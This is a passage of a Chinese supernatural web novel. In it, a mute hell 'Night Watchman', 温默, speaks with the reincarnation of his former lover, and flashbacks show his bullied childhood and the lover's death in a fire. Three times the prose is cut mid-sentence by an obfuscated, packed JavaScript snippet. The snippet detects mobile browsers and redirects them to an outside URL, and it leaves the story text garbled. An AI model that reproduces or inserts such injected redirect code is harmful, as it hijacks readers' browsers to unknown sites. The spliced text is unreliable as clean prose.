一双靴子被放在岸上。那人站在水里,弯着上半身,撸起裤管也撸着袖子,一身衣服都是黑的。他正低着头捧着水,洗着胳膊上的血迹。 那人的两只胳膊上鲜血淋淋。他好像嫌那血很脏,搓血搓得特别用力。 那是温默。 温默耳朵很好使,听到沈奕过来的脚步声,手上的动作就立刻一顿,回头望来一眼。 他眼神如刀,像一头狼。 沈奕被他看得一哆嗦。 他没来由地有些无措,支支吾吾了一会儿,目光突然落在自己拿在手上的黑色冲锋衣上。 沈奕脑子里立马通了电闸有了主意,他忙把衣服拿起来:“那个,我是想把这个……还你……” 他越说声音越低,越说越莫名的没什么底气。 雨还在下,沈奕收了声音,眼神却可怜巴巴地望着他。 再配上这淅淅沥沥的小雨,他那双眼睛湿漉漉的,就那么跟个坐在雨里的、将要被遗弃的小狗似的望着他。 温默从前就最受不了江奕这一套,这人也最喜欢用这套把他吃死。 他闭了闭眼,叹了口气,直起身,回身过去。 温默全身都是血。 温默朝他挥了挥手,做了几个手势示意他,那件衣服温默不要了,给他江奕了。 “我不能要,”江奕忙说,“没事的,我年轻呢,淋点雨没事。你看你这么瘦,你多穿两件吧。” 温默朝他抹了下自己的脖子,又点了点自己的心口,又摊了摊手——他说他早死了。 江奕不说话了。 但他的眼睛还是灼灼地亮着光,张了张嘴后又欲言又止。温默看得出来,他这奕哥儿还想说话。 温默皱了皱眉,突然看不太懂他。 他把龚沧杀了,在这江奕眼里就是杀了他兄弟,江奕理应讨厌他才对。 温默又指指猎杀场里的尸体,朝江奕做了几个手语。 【我杀了他,】温默用手语比划着说,【反正你会讨厌我,离我远点。给你的衣服如果你不要,你就扔掉。】 他比划完就低身下去,继续洗胳膊。 他却听见江奕说:“我不讨厌你啊。” 温默一怔,抬头望去。 江奕还是眼睛湿漉漉、亮晶晶地看着他。 “我不讨厌你,”他说,“我们……能谈谈吗?” 12. 鬼新郎(玖) “能谈谈吗?” 江奕目光诚恳,语气恳切,是真的想跟他谈。 温默心里沉默了。 他看了眼猎杀场,龚沧刚刚死在了那里。 那个龚沧又被他一刀一刀捅死了,这会儿温默愤恨的情绪也平缓了许多。冷静下来以后,他又望向跟前这个江奕,仔细想了想,他确实该和他谈谈。 他不该来这儿的——如果他是江奕的话,他就没道理会出现在这儿。 奕哥儿是好人,他不会下地狱。 想着,温默朝他点了点头。 江奕松了口气,向他确认了下:“可以谈谈?” 温默再次点点头。 江奕笑了起来,笑得眼睛都半弯起来。 淅淅沥沥的雨还打在他身上,雨夜也依然漆黑。这么诡谲阴森的天色,江奕身上却一点儿显不出阴沉。他还和从前一样,那双圆眼本就总亮晶晶的,这样一笑,瞧着更亮了。 雨夜好像也并没有那么黑。 温默看着他,却看不见雨,恍恍惚惚地只看见夕阳落日落在他肩上。 两手又烧痛起来,好像又烧到火了似的。 温默有点被江奕刺痛双眼,他抽了抽眼角,挥挥手又指指自己胳膊,示意他等会儿,他要把手洗了。 江奕明白了,点头如捣蒜:“行行,我等你。” 温默低下头,不去看他了。他把胳膊和手洗干净,衣服上淋了点儿水搓了搓,血当即就被搓下去了。 血丝丝缕缕地在水里荡开,化成一缕缕血水,消散在小河里。 这衣服是地狱给的,质量极好。为了方便守夜人上班,做工都是一等一的,一淋水血就会掉。 都洗好了后,温默回到了岸上。他撸下袖子放下裤管,穿好袜子靴子,把手套也从一旁的芦苇丛里拿出来,重新穿到手上。 这是双纯黑的漆皮半手手套,只覆盖了一半的手掌。穿好手套,温默放下手,抬头刚要和江奕比划一下,却见那人居然莫名其妙地红了脸,傻愣愣地站在那儿,望着自己刚穿上手套的手。 ? 温默低头看了看。手套穿的挺好的,没穿错,看起来也没有哪儿很奇怪。 他抬头看了看,江奕还是那样呆滞。 似乎是察觉到温默怪异的视线,江奕忽然回过神来。他看了眼温默,两人视线相撞。 温默朝他挑挑眉毛,歪了歪脑袋,无言地问他:到底走什么神了? 江奕脸一僵,立马别开了视线,还煞有其事地咳了两声,没回答这问题,有些欲盖弥彰地、硬邦邦地道:“那这件衣服,你也……也穿上吧。” 江奕把冲锋衣递给他。 温默看了眼他上身,那是件被完全打湿的短袖,衣角都还在滴水。 衣服要是脱下来拧一拧,估计能拧出来半盆子水。 温默低头,无声地叹了口气,朝他挥了挥手,又比划了几下。 【衣服,湿成这样。】他比划着,【你穿上。你会生病,我不会。】 江奕犹豫:“可是你……” 这事儿都掰扯多久了,他还犹豫这破衣服的事儿。 温默有些烦了,瞪了他一眼。江奕被他瞪得一哆嗦,不敢多说,连忙给自己穿上了。 温默的脸色这才好一些。 江奕一看就是真的冷,衣服一穿到身上,他就控制不住地露出了十分幸福的神色。他把两只胳膊抱到一起,塞到两只袖子里,村口老太太似的缩起脖子,忍不住暖和地长叹一声。 温默:“……” 温默眼帘垂低下去,不自觉柔和了视线——守夜人真是很少会有这样的柔和目光。 江奕享受了会儿暖和的时光,突然如梦初醒,才想起来正事儿。 他看向温默:“对对,我们得谈谈。就是,那个……呃,你是叫温默吗?” 温默僵了下,点了点头。 真是很久都没人叫过这个名字了。 但…… 温默指了指他,又点了点自己的胸口,疑惑地挑挑眉。 他的意思很明显:【你认识我?】 “呃,认识……吧。”江奕把双手抽出来,握在一起搓了搓,有些唯唯诺诺地低声说,“我进来这个游戏之前,做过一个梦。” “也不是说做过,我连着做了一个礼拜……做的同一个梦。” 江奕看了看他,低下头,去看自己的两只手,“我梦见过你。” 温默:“……” “梦里,就是跟这个很像的一个村子,”江奕说,“我梦见我跟你,都是村子里的人……然后,我们是不是……” 接下来的话有点难以启齿,江奕红了脸。话都到嘴边了,他却怎么都说不出来了。 支支吾吾半晌,他才通红着脸,艰难地把话一个字儿一个字儿地硬挤了出来: “我们是不是……谈、谈……谈谈谈……谈过,恋爱?” 温默没动。 他没有回答,也没有比划手语,只是站在那里,两只手无力地垂在身侧。 雨在淅淅沥沥地下。 隔着细雨,温默望着江奕。江奕问他这句话用了很大的勇气,温默看见他的脸红了一大片,耳根都红得和充血一样。 温默知道,他在等他的答案。 可他却一直没回答。 江奕说这话,说的真是少年意气,青春懵懂,小心翼翼。年轻真好啊,恋爱这词就只是恋爱而已,不顾及、不会想、也从来都没有发生过其他的事。 温默却感觉不到什么恋爱该有的感受,他心中一片荒芜。 他又听到了,听到那些一直在心头上萦绕的声音。 【邪祟!】 【还不懂吗,中邪祟了!中邪了!】 【不烧不行了,怎么你就是不明白啊!王神婆都说了几遍了,也给你儿子看好几次了!中邪了,得烧!】 【可惜了奕哥儿这孩子,唉……】 【挺好的孩子,怎么就中邪了呢……】 脑袋开始隐隐作痛。 温默眯了眯眼,嘴里又泛起了血味儿。他抬手握住了腰间的刀,抽出来了一截,用手生生握住了刀刃。 刀刃划开了皮肉,一股温热从手掌里淌出。 痛意让脑子清醒了些。温默抬头,就见江奕还在通红着脸望着他。 温默的刀在腰后,江奕没看见他又拔了刀。 大概是温默太久都没回答,江奕那张脸上有些无措。 温默犹豫片刻,最终还是不忍让他失落。他叹了口气,点了点头,再次用没流血的单手比划了几下。 【你跟我,确实,谈过。】他说,【但那是以前的事。】 江奕松了口气,又笑起来:“没事,以前的事也好。那你能告诉我,到底发生了什么吗?” 温默望着他。 江奕脸上的笑突然有些僵硬,他挠了挠脸,声音有些干涩:“到底为什么,那个……你会在这里,做……守夜人?” 温默没比划。 他再次沉默了,又低下头去。 江奕也没说话,但温默感受得到,他紧张的目光正在自己身上停留。 雨忽然大了些,江奕忽然狠狠打了个喷嚏。 温默抬头。 江奕还没来得及缓口气,就又接连着打了第二个,第三个。 他手捂着嘴,嘟嘟囔囔了句:“怎么搞的——阿嚏!” ……他又打了第四个。 温默抬头看了看。拔舌地狱自打下雨以来,这雨真是说大就大说小就小,一点儿没有规律。 江奕又打了第五个喷嚏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152207|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他好像真要感冒了,温默无可奈何,往他那边走了过去,拉起他一只胳膊,就往村子里面走了过去。 江奕吓了一跳,张嘴想问他干嘛,结果又狠狠地打了第六个喷嚏。 温默领着他进了村,直接进了右手边的第一家。门锁着,温默抬腿一脚,就把门给踢出了门框,哐当一下倒在了地上。 江奕满目震惊,被温默扯着走了进去。 “等一下,不好吧?”他说,“你这算不算私闯民宅,一会儿万一屋主……阿嚏!” 温默没理他,打开屋门走了进去。门里正好是个灶台,灶台旁就是火炉。卧房的门紧闭着,屋主应该已经睡下了。 温默松开了他,回头关上门,又走到屋头中央,拉了把灯线。 昏黄的灯光亮了起来,温默转身去火炉旁边。 江奕看了眼卧房紧闭的门,心里越来越犯咯噔,又絮叨起来:“阿默,咱这样真的算私闯民宅吧?连门也不敲一个就进来,一会儿屋主出来咱怎么说?要不咱走吧,我也不怕冷,我一个大男人……阿默?” 温默还是没理他。炉子旁正好是一小堆木头柴火,他蹲下去,往炉子里面塞起了木头。 “阿默,你理理我啊,”江奕说,“咱们这样真的不好。” 温默仍然一个眼神都没分给他。塞了许多木头进去,他又起身去屋子深处寻觅了圈。不久,他拿回来了个铁盆,还有一堆纸,跟一个打火机。 把纸塞到盆子里,温默一把火把它们点燃了。等火烧得旺了,他拿出一根木柴,将木柴的前端也点着了火后,扔进了炉子里。 江奕看愣了。 炉子里很快烧起了火,温默把盆也往里一倒,烧着了的纸也跟着进了炉子,眨眼间就被火舌吞没了。 温默站起身,回头,把还站在门口看愣了的江奕拎了过来。 江奕被他扯着衣领过去。温默把他拉到炉子跟前,他就在炉子跟前傻愣愣地站好,一回头,见温默又去角落里拎来两个小马扎。 他把马扎展开,丢在江奕屁股底下一个,又丢在旁边一个。 温默坐了下去,江奕还在旁边傻站着。 温默抬头,朝他撇了撇脑袋,又一挑眉。 江奕这才反应过来,坐了下去。 别说,这炉子确实暖和。 江奕立马被暖烘烘的火烘得絮叨不出来了。他幸福地眯起眼睛,听见雨声还在外面响。 面前是烧得人浑身发暖的火,外面是淅淅沥沥的雨,江奕顿时感觉——这太好睡了,我去,太适合睡觉了。 但眼前有个比睡觉更重要的。 他看向温默。 温默坐在他身边,没有多做什么,也没有再比划什么手语,只是望着炉子里的火沉默。他身上没有外套,就只有一件单薄的里衬。里衬也是黑的,领子很高,被他拎到鼻子上,遮住了半张脸。 里衬单薄,把他上身线条完完全全勾勒出来了,是跟他记忆里差不多的瘦小身躯,瘦得后背上的脊骨都微微凸出来几节。 他跟以前还一样,但眉眼间那股熟悉的局促不安却消失得无影无踪。他变得有点凶了,眉头总是微皱着,血眸也瞧着狠厉极了。 炉火在他身上暖呼呼地投了一圈毛茸茸的暖光,可他却还是那样冷冰冰的。火也照不暖他,他像被囚在一块画地为牢的冰里。 他看起来,经历了很多事。 到底怎么才能从那个瘦瘦小小的小孩,变成这么一个人见人怕的守夜人? “那个……” 思索间,江奕又忍不住开口。 温默在想事。他一出声,温默身子一动,回过神来,转头看向他。 “阿默,我很感谢你特地带我来烤火啦,”江奕说,“但是你还没回答我……到底出什么事了,你才在这里?” 13. 鬼新郎(拾) 江奕的大半张脸都在暖光里,真是太像回忆里他站在夕阳下,挥着手喊他阿默的模样。 温默的目光越发阴郁起来。 他还是没有作答,只是转头又看向炉子里的火。他看着那火舌吞没一切,正如同当年吞没了江奕。 “阿默?” 江奕又小心翼翼地试探了一声。温默转头看去,对上他那双眼睛。 温默思索片刻,伸出手,把手伸进了江奕的兜里。 江奕吓了一跳。 温默从那兜里掏出一根笔来,是根圆珠笔。 他撸起胳膊,露出自己的小臂,摁开圆珠笔,开始在胳膊上写字。 江奕眨巴眨巴眼,在旁边等了会儿。 片刻,温默抬起胳膊,给他看胳膊上的一行字。 江奕把脑袋凑过去看。温默手中的是根红笔,鲜红的字有些触目惊心地写在惨白的胳膊上。 【你叫什么名字?】 江奕答:“哦,我叫沈奕。” 改姓沈了,但名字居然没变。 温默沉默片刻,在自己胳膊上写了江奕的“奕”字,对着沈奕点了点,挑挑眉。 沈奕点点头:“是这个字。” 名字还是同一个字。 思索片刻,温默又往胳膊上写了一行字。 【你做的梦,是什么样的?都梦见了什么?】 “就是这个村子呀。”沈奕说,“梦见我在这个村子里面生活的两天,梦的都是很平常的事。第一天出去下地干活了,第二天就去县城里面把之前拔的菜卖了,还买了两袋子橘子回来,给了你一袋子。我第一天在地里干活的时候,你还来给我送饭,到了傍晚,你还跟我妹妹去村口接我回去。” 倒确实有这些事——不如说这些事有过太多了。江奕梦到的太过稀松平常,温默还活着的时候发生过太多次,他一时都不知道沈奕说的是哪年哪月的事儿,毕竟年年月月都有。 温默又在胳膊上写起了字。这次他花了很长时间,沈奕坐在马扎上,等了约莫两分钟。 【那的确是几十年前的事,我们那时候确实是在谈恋爱。但后来,我们分手了。】 【你高中的时候上了技校,学了修车,后来毕业了,就去村附近的厂子里工作。再后来,市里有招工名额下来,你就去了大城市深造。我们渐渐没了联系,就分手了。】 【我在这里,是我自己的原因。】 【跟你没有关系。】 沈奕顿时哑然,他茫然地抬起头。 一看就知道,他没有想到会是这个答案。 温默把胳膊收回来,搓掉上头的字迹,又重新写上了几行字。 【我不知道你为什么会在这里,可能是因为你和你那个兄弟碰巧在一起,所以误打误撞地进来了。】 【别听他们瞎胡说,等你这次通关出去,就不会再进来了。】 【毕竟你只是误打误撞被拉进来的。】 【等天亮,你多小心些,那些村民越让你干什么,你就越别干什么,离什么都远点儿。】 【你能出去的。我们本来就分手了,你不用总想着我是怎么回事。】 【我杀人了,在这里是我自己的原因,跟你没关系。你只要打通游戏,出去就行了。你不会再进来,我们也不会再遇见。】 【说到底,那也是你上辈子的事,和现在的你,没关系。】 给沈奕看完这几行字,温默就把胳膊上的字迹搓掉,把袖子放了下去。 沈奕沉默地望着温默写字、把胳膊递到他跟前,然后收回那条字迹密密麻麻好像咒文一样缠了整条手臂的胳膊,默默地把它搓掉,又放下黑漆漆的衣服袖子,遮住了那条惨白的臂膊。 他望向他的眼睛。温默眼眸低垂,抻了抻自己的袖子以后抬了抬眼睛,对着炉子里的火又发了会儿呆,就站起了身来。 他低头,对还坐在马扎上的沈奕比划了几下。 【我要走了,今晚的猎杀,结束了。我走以后,天就会亮。】 【你出去吧,】温默比划着,【不用再想那个梦,你本来就不是该来这里的人。这里的事,以后慢慢忘掉就好。】 他比划的手语很慢,但是很多。 温默比划完,忽然心里没底了。几十年前,江奕十二岁就跟他认识了,那时候他根本看不懂温默的手语,温默也不会写字,是江奕太老好人,为了明白他想说什么,特地去县城里找了半天,才找到个能教手语的老师。 温默自小也比划不明白,没人教他手语。江奕寻了个借口,每次出门卖菜的时候都偷偷带上他去县城里。 等菜卖完了,他再带着温默偷偷去老师那儿偷学两个小时手语,才回家去。 那之后,江奕才看得懂他在比划什么。 沈奕只做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152208|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过短暂的梦,又是第一天遇见他,看起来这辈子也没遇见过哑巴,他看不懂的。 望着沈奕呆愣的表情,温默心里哑然,心说果然看不懂。 他忽然觉得没什么意思,又想着该说的话刚刚已经都写给他看了,这句不说也无所谓。 等天亮了,温默走了,沈奕自己会知道该做什么的。 温默便转身离开了。 沈奕突然在他身后出声:“要我连你也要忘了吗?” 温默一怔,脚步一顿。 他回过头。沈奕还坐在那儿,又眉头紧皱,两眼湿漉漉地望着他。 语气里没显,但他看上去很伤心。 “我是,要连你也忘了吗?” 他又说了一遍。 温默站在原地无言。 “你……”沈奕哽了哽,“你是不是骗我了?” 温默难得心里一紧,下意识滚了滚喉结,张嘴想发出气音来。 可嘴一张,温默立马一痛,疼得捂住了嘴。 丝丝缕缕的温热隔着遮住脸的衣领传到手上。 温默看了眼沈奕。 幸好衣服是黑的,沈奕看不出他流了些血,那张傻脸神色没变。 温默心烦意乱起来,他放下手,垂了垂眸,从裤子的口袋摸出刚刚塞回去的那根圆珠笔,低手抓住沈奕的右手,把它抓了起来。 “唔呃!” 沈奕惊叫一声,手掌被他摊开向上,五个指头都被狠狠掰了一把。 沈奕立马不敢动了。温默摁出笔头,在他手心里写起字来。 笔尖在他手心里划来划去。 一股痒意似蚁虫啃食似的,跟着笔尖来回游走。被他抓住的手腕处,则环绕着一股死人的凉意。 片刻,温默收起笔。只听一声轻响,他把笔尖摁了回去,松开了沈奕的手。 沈奕回头,只见温默转身大步离开。 他拉开屋子的门,形单影只地走进外面的无边雨夜,漆黑的身影渐渐隐没在黑暗之中。 沈奕低下头,摊开手掌,手心里有鲜红的一行字。 【你不是他】 ——你不是他。 沈奕忽然心中一痛。他再转头望去,屋外的黑夜里已经没了那个瘦小的身影。 可手心里的四个字却无端滚烫起来。 ……你不是他。 你不是他。 14. 鬼新郎(拾壹) “哑巴!” “逮到哑巴了!都快来呀!” “哑巴又出门啦,哈哈哈!” “你妈叫你又出门来干什么啊?明明连个屁都不会放!什么都干不成!” “你说话啊你,怎么一句话都不说啊?——哦,哎哟,我都忘了,你是个哑巴啊!” 哄笑声刺耳地响起来。 那时落日余晖,村子里的一群小孩嬉笑着推搡着,把才七八岁的他堵在村子里一处没什么人烟的偏僻地方。 小孩们把他堵在一户人家旁的墙后,高大的墙面挡住了落阳。一片阴影下,他抱着脑袋缩在角落里。 小孩们往他身上扔着石头和泥巴,又拳打脚踢的,还向他吐了几口痰。 “你爹都说了!怎么还不死啊你!” “你又出来帮你妈做什么啊?哎哟,打酱油呀!你拿着钱呢吧!” 有个尖嘴猴腮的小孩儿尖叫起来:“快拿他的钱,咱们买玻璃珠子去!” 这一句话像是一勺子热油洒进人群里,一群孩子立马都刺耳地尖叫出声,一拥而上,尖声笑着,肆无忌惮地对他撕拉推扯,对他上下其手。 他吓得六神无主时,就听一道很清澈的声音在外头响起来:“干什么呢!?” 扑在他身上的几个孩子都被拉开了。 他们又尖叫几声,一屁股坐在地上。 温默气喘吁吁地从惶恐里回过神。定睛一看,他看见一个瘦瘦高高的男孩正把那些压着他的孩子一个一个从他身上扯出去,推到远处,然后转过身,挡在他面前。 “你们这群小孩怎么回事!”他气得直嚷嚷,“这么多人欺负一个!还抢钱!?你们爹妈怎么教的!” 温默怔在那里。 他身上的衣服被扯得歪斜,脸上都是泥巴。他浑身酸疼,颤颤悠悠地从地上爬起来,坐正了身子。 “你管老子爹妈怎么教的!”一个小胖子嚷嚷起来,“你谁啊你,多管闲事什么!” “哎你怎么说话的你!” “老子就这么说话!臭哑巴爹妈都不管他,你多管闲事什么!你是他新爹啊!他是你生的私生子啊!” “哎我这个脾气——” 面前这人撸了两把袖子,气得上前半步。 “老大!”旁边那个尖嘴猴腮的小孩打断了他们。他朝着小胖子挥挥手里的票子,那竟然是几张一角两角的纸币,“我拿到了!” 温默一慌,忙去摸自己的兜。 兜里真的空了。 他脸刷的一白。 小孩们又尖声笑起来。 温默面前的男孩子气得冲上去就要抢,那几个小孩拿起手里的泥巴,朝着他扔了过去。 那男孩猝不及防,被扔了一脸一身的泥巴。 小孩们尖声笑着,一齐一溜烟地跑远了。 男孩子气得喊起来。他把脸上的泥巴胡乱一抹,转头对温默喊了句“等着”,转头就冲了出去。 温默想叫他别去,可是没抓住他。那人冲出去的急,没回头,没看见他焦急的比划。 他跑了。 他去追那群小孩了。 温默一瘸一拐地走出那片墙后的阴影,一脸懵逼地望着他那一路狂奔的背影。 他望了望那人,又低头望了望自己手上的酱油瓶子,突然不知道自己该何去何从。 他还是在那里原地不动地等了会儿。 落日只剩下一点点的时候,那人回来了。 他喘着气跑了回来,遥遥地就朝他拉长声音提高嗓门地喊着:“喂——” 温默转过头,看见他一身泥污地回来了。温默这才看见他的正脸,那看起来是个比他大一些的男孩,有双圆眼和上扬的剑眉。天已经黑了,但他眼睛很亮。 他朝他跑来,握住他的手腕,把他的手抬起来,将一把钱票塞进他手里。 票子皱巴了很多,也沾了些泥污,但都是温默的钱。 他抬起头,男孩朝他挠挠脑袋,笑了起来:“费了些时间,但好歹是抢回来了。你别担心!那几个小孩我都教训了,我把他们都打了一顿!” 温默愣愣地看着他。 他愣愣地望了他好半天,男孩在他的视线里笑了片刻,眨巴了两下眼,突然“哦”了一声,指着自己说:“你没见过我吧?我昨天才跟我妈搬过来!我住在村东头,那边一个大下坡旁边的那家,你知道吗?就是老江家!” “江胜国是我大伯,我妈领着我弟弟妹妹搬过来跟他住,我叫江奕!” 夜色正好四合,天色黑了下来。 村子里没有灯,江奕的笑脸隐没在黑夜里。他脸上都是泥巴,不知道被那些小孩纠缠为难了多久,也不知道跟他们缠斗了多久,可他还是笑得很灿烂。 他真是个很爱笑,也话很多的人。 眼前又闪过很多画面。 没有光亮的路上,江奕拉着他,摸索着夜路送他回了家。 落日余晖时,他从县城里回来,敲开他家的门,偷偷塞给他一兜子橘子。 又一个深冬落日时,他撞见温默在河边洗衣服,冻得手指头发红。江奕赶紧跑回家,拿来个盆,又拿来个热水壶,给他倒了热水,跟他一起把剩下的衣服洗完了。 【阿默啊,】他听见江奕很无奈地叫他,【你也心疼心疼自己,怎么你妈要折腾你,你就真的乖乖被她折腾啊。偷偷用点热水嘛,少一点水而已,她又不知道,你偷偷再往里灌点不就行了。】 【她不让你用,你就偷偷用嘛。你不敢用自己家的,你来找我呀,我从我家给你拿点。】 说完,他就朝他笑。 【阿默!】 【阿默——】 【阿默最好了!】 【还得是阿默最心疼我!】 江奕声音跟河水一样清澈,笑起来时清朗极了,【阿默呀——】 【——阿默。】 大火轰地烧起,破庙一片火海。 江奕声音嘶哑。 他从没听过他这样嘶哑。 【救救我……阿默。】 【救救我……】 温默摔到地上。 他连滚带爬地从地上爬起来,跑向那片火海。 一道烧着火的横梁咚地砸下来,将他和那人隔开来。隔着横梁,他看见江奕摇摇欲坠地站在那里,衣角已经烧着了火。他的眼睛还是那样亮,还是那样湿漉漉的。他好像哭了,可是泪水被四周的大火立时烧干,什么都没有流下来。 江奕被掉下来的房梁砸中,倒了下去。 他被压死在了下面,只有一只戴着一圈红绳的手露在外面。 然后被一寸一寸、一寸一寸地,烧去了血肉。 视野立时发黑,耳边响起撕心裂肺的奇怪惨叫,是如同嗓子不能顺畅出声一样的、好像野兽一样的撕裂发闷的叫喊。 直到喉咙里出血了,温默才发觉,是他自己在惨叫。 大雨倾盆。 温默站在猎杀场前,地狱里的雨滂沱着。 仇人在黑色的巨坑里尸骨未寒,脑袋都被他砸成了碎沫。温默望着那具尸骸,发了很久的呆。 半晌,他抬起手。将手举到最高点后,他将手狠狠向下一按。 【守夜人默,狩猎结束。】 温默跃下猎杀场,向着奈何桥走去。 地狱的播报有条不紊地在拔舌地狱的上空回响。 【鬼新郎,鬼新郎,心有怨,莫安息;佛像底下无真人,求神的话儿可别听。鬼新郎,鬼新郎,落了雨,莫打伞,雨落心头吐真言,人上黄泉莫等人……】 【鬼新郎,鬼新郎……】 诡异的声音唱着诡异的童谣,温默手插着兜,独自一人走进桥前的白雾。 大雨仍旧,但天边亮起了光,无边的黑夜破了灰暗的晓。 天亮了,温默要回去了。 守夜人只在夜晚出没,到了白天,他们会和猎杀场一起消失在地狱之中。当然,场后的奈何桥也一样。 温默在白雾中停下。 四周风轻轻起,他闭上眼。 怡人的风扑面而来——温默一直不理解,为什么守夜人随着猎杀场在天亮时消失而去的时候,迎面而来的风仿若春风一般怡人,他们明明是守夜人。 猎杀场的气息远去了。 …… ………… ……………………等等。 好像有哪里不对。 他为什么还有意识。 温默睁开眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152209|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见亮起来的天边。 灰暗的天空,仍然阴雨绵绵,但天亮了。 雨夜不再漆黑不见五指,天边灰了起来,只是仍然不见阳光。 温默真是有好长一段时间都没见过白天了,他心中无言地和天边对视片刻,回过头。 猎杀场不见了。 理所应当的,白雾和奈何桥也都不见了。 所有夜晚才会出现的东西都不见了,只留下他这个明明也该消失的守夜人还突兀地留在原地。 * 事情很不对。 相当不对。 百分之一百不对。 守夜人理应跟着猎杀场与奈何桥一起消失的,他们仨白天的时候根本出不来,除非罪人们找到了引路人,奈何桥才会在白天被开启。 消失后,他们会无形地隐没在地狱之中,这段时间,守夜人会没有任何意识地沉睡。 他会感受到自己意识消散,会有一种渐渐昏迷的感觉。 到了夜晚再醒来,他也会有一种从昏迷里清醒的、意识从无到有的感觉。 但现在,光看就知道,他没有昏迷。 他更没有无形地隐没。 望着空空荡荡的空地和空无一物的身后,温默居然有一种被“队友”无情抛弃在“地狱”里的无措。 他有种被恩断义绝的慌张。 温默留有一股白天见不得人的莫名心虚,他没敢再站在空地上,转头默默地走到河边,蹲了下去。 地狱毕竟是阴间地府的,在这里阴阳相交,河水里也倒映出他的模样。雨水打湿他的头发,雨滴顺着脸颊流下。他眉头紧锁,眼神复杂,看起来不太好。 温默心里乱如麻,他捧起一捧河水,洗了把上半张脸。 温默无声地长叹一口气。 他看了看右手,想了想,让右手上的鬼气散去了。 一阵黑气从右手上飘离开,露出一片淋漓的血。这是他刚刚在夜里为了让自己冷静下来,用刀刃割开了手掌的那只手。 怕沈奕看见多问,温默才用了些鬼气,做了个小幻术,刚刚一路上都把它掩饰了起来。 他放下手,在受伤的地方按了两下,伤口已经愈合。 守夜人都是恐怖的鬼神,愈合能力一等一的强,他自己很快就能治好他自己。 温默把手上留下的血痕洗干净了。 洗干净了血,天也彻底亮了。 温默理了一下思绪,越理眉头皱得越深。 算了……不论怎么说,还是先去看看奕哥儿吧。 他想,这样也好,白天留在这里,他在背地里守着,也省着奕哥儿冲撞了哪儿,一不小心就遇上危险。 温默站起身来,回头,忽的化作一阵缥缈的黑气,随风四散,飘进了村子里。 天虽然才刚亮,但躲在村子四处的罪人们都已经出来了,准备开始新一天的游戏——他们昨天刚被老太太点了任务,今天可谓是任务繁重。 所有人都去到了老太太屋头门前。昨天临走前,老太太屋里的一个村妇追了出来,她让他们明天一早就去那里,说有关于他们要忙的下葬那对新婚夫妇的事儿,老太太第二天还得给详细的指示。 黑气聚集到老太太屋头对面的屋顶上,化作一个人形。 温默给自己隐去身形,扫了一眼。 十四个人。 这很正常,晚上会杀人的不止他一个守夜人,那个夜晚游荡的鬼新郎也会杀人。 温默扫了一眼所有人,突然发觉不对。 奕哥儿不在。 他怎么了,还没出来? 温默皱紧眉头,转身又消散成黑气,飘去了黑夜时带着沈奕进去了的那户人家。 他落到屋顶上时,正巧,沈奕开门出来了。 怎么出来的这么晚。 温默松了口气,忽然见沈奕抬手抹了抹眼睛。 他眼睛红了。 ……哭过了吗。 沈奕擦着眼睛,走出了门,朝着老太太那户走去。 温默跟在他身后。他隐去身形,跟猫似的踩着屋顶房檐行走。 沈奕看不见的地方,温默微微皱着眉。 他眼睛一红,温默就心神不宁。 15. 鬼新郎(拾贰) 除了沈奕,罪人们都已经集中在了老太太的屋院前。 温默跟着沈奕一同往那边走去。 守夜人五感通达。还隔着大半条街时,温默就已经听到了罪人们围在院门前嘟囔着说话。 一个男声在疑惑:“这村妇怎么还不给反应,我们人还没来齐?” 地狱游戏毕竟是场游戏,罪人是玩家。当要开启新一天的任务时,只要玩家没到齐,游戏就进行不了,NPC就不会给反应,只会站在原地沉默。 罪人们就要在原地等着人来齐。 “那肯定是人没到齐了,也不知道昨晚上死了多少人。”有另外一个男人说,“那两个新人应该死了吧?” “最好是都死了,那个叫沈奕的万一还活着……多不好弄啊,他看起来像个鬼。” “唉,说的也是。死了最好,但这地狱里没有那么好的事儿啊。”另一人说,“肯定还……哎哟。” 话到一半,沈奕已经走近过去。 见到来人,那人立刻不再往下说了。他意义不明地讪笑一声,给旁的几人使了几个眼色。 瞧见沈奕,大家都意味深长地交换了一番眼神,又神色各异地看了沈奕一眼。 刚走到人群跟前,沈奕就感受到罪人们投来的各色视线了。他顿了顿,停在原地,抬头对上他们的目光。 视线一相撞,有的立刻移开眼睛,有的丝毫不以为意,光明正大地又在他身上看了几眼。 他们望着他身上多出来的那件衣服。 那些视线尽是审视探究的恶意。 沈奕眨巴了两下眼睛,一双圆眼睁得无辜。 温默站在老太太家对门的屋顶上,见他奕哥儿这个样儿,他就两眼一黑,头疼地捂了把脸——沈奕那眼神真是清澈,一看就是这辈子都没什么大风大浪,看不透人性险恶。 